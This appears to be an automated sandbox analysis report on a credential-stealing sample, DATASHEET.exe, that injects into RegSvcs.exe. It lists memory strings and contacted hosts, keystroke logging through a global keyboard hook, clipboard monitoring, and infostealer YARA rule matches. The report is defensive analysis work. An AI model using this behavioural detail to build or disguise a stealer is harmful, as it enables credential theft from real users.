Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4167415664.00000000065E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EF9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F32000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F62000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EE9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F56000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F19000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.0000000006690000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000034F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign?
Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.000000000667F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000338E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4154589604.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F62000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EE9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4154589604.0000000001433000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000034F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178196919.0000000007F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsrsaovsslca20180V
Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4167415664.00000000065E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EF9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F32000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F62000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EE9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F56000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F19000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.0000000006690000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000034F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F62000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EE9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F56000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.0000000006690000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000034F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: DATASHEET.exe, 00000000.00000002.1779039940.0000000002D15000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1805867621.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, jwvzGqkYNEejno.exe, 00000009.00000002.1824252057.00000000028E5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.000000000667F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000338E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4154589604.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4154589604.0000000001433000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000034F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178196919.0000000007F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsrsaovsslca2018.crt07
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: DATASHEET.exe, 00000000.00000002.1788453527.0000000007282000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: DATASHEET.exe, 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: DATASHEET.exe, 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1800322328.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1805867621.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000008.00000002.1805867621.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000008.00000002.1805867621.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: RegSvcs.exe, 0000000D.00000002.4168255024.0000000006696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.
Source: RegSvcs.exe, 0000000D.00000002.4178842499.0000000007FAA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003593000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177256601.0000000007EC4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000331B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.000000000667F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4167415664.00000000065E0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EF9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.000000000338E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4176959760.0000000007EB0000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.0000000003688000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F32000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4154589604.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F62000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4177916409.0000000007EE9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F56000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4156832701.00000000037B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178238907.0000000007F19000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4168134904.0000000006690000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4178605679.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.4155316760.000000000149A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49737 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, 7KG.cs	.Net Code: _2s8
Source: 0.2.DATASHEET.exe.3d6d320.3.raw.unpack, 7KG.cs	.Net Code: _2s8

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.DATASHEET.exe.3d32700.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.DATASHEET.exe.3d6d320.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.DATASHEET.exe.3d6d320.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_02B2DF64	0_2_02B2DF64
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05EC6DC8	0_2_05EC6DC8
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05EC16F8	0_2_05EC16F8
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05EC16C1	0_2_05EC16C1
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05ECA620	0_2_05ECA620
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05ECA610	0_2_05ECA610
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05ECA1E8	0_2_05ECA1E8
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05ECC2D0	0_2_05ECC2D0
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05ECBDC0	0_2_05ECBDC0
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05EC6DB9	0_2_05EC6DB9
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_05EC9DB0	0_2_05EC9DB0
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_07DB1F48	0_2_07DB1F48
Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_07DB35D0	0_2_07DB35D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0153E480	8_2_0153E480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0153AA38	8_2_0153AA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0153DAB0	8_2_0153DAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01534AB8	8_2_01534AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01533EA0	8_2_01533EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015341E8	8_2_015341E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A95618	8_2_06A95618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A9B2A2	8_2_06A9B2A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A930D0	8_2_06A930D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A97E00	8_2_06A97E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A97720	8_2_06A97720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A9E418	8_2_06A9E418
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A90040	8_2_06A90040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A95D63	8_2_06A95D63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_06A90006	8_2_06A90006
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_0281DF64	9_2_0281DF64
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F86DC8	9_2_06F86DC8
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F816F8	9_2_06F816F8
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F816C1	9_2_06F816C1
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F8A620	9_2_06F8A620
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F8A610	9_2_06F8A610
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F8C2D0	9_2_06F8C2D0
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F8A1E8	9_2_06F8A1E8
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F8BDC0	9_2_06F8BDC0
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F86DB9	9_2_06F86DB9
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_06F89DB0	9_2_06F89DB0
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_0A550D00	9_2_0A550D00
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_0A552388	9_2_0A552388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_016D41E8	13_2_016D41E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_016DAA38	13_2_016DAA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_016D4AB8	13_2_016D4AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_016DDAB0	13_2_016DDAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_016D3EA0	13_2_016D3EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_06D230D0	13_2_06D230D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_06D27720	13_2_06D27720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_06D20040	13_2_06D20040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_06D20007	13_2_06D20007

Source: DATASHEET.exe, 00000000.00000002.1781481952.0000000003F1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs DATASHEET.exe
Source: DATASHEET.exe, 00000000.00000000.1689751348.00000000009A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAezq.exeB vs DATASHEET.exe
Source: DATASHEET.exe, 00000000.00000002.1779039940.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs DATASHEET.exe
Source: DATASHEET.exe, 00000000.00000002.1777548800.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DATASHEET.exe
Source: DATASHEET.exe, 00000000.00000002.1790261331.0000000007DC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs DATASHEET.exe
Source: DATASHEET.exe, 00000000.00000002.1781481952.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed01d1e44-b654-4c6b-973f-f9dea01115c9.exe4 vs DATASHEET.exe
Source: DATASHEET.exe, 00000000.00000002.1779039940.0000000002D15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed01d1e44-b654-4c6b-973f-f9dea01115c9.exe4 vs DATASHEET.exe
Source: DATASHEET.exe, 00000000.00000002.1786431420.0000000005760000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs DATASHEET.exe
Source: DATASHEET.exe	Binary or memory string: OriginalFilenameAezq.exeB vs DATASHEET.exe

Source: DATASHEET.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.DATASHEET.exe.3d32700.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.DATASHEET.exe.3d6d320.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.DATASHEET.exe.3d6d320.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: DATASHEET.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: jwvzGqkYNEejno.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, 1UT6pzc0M.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, DnQOD3M.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, 01seU.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, iUDwvr7Gz.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, XUu2qKyuF6.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, aZathEIgR.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
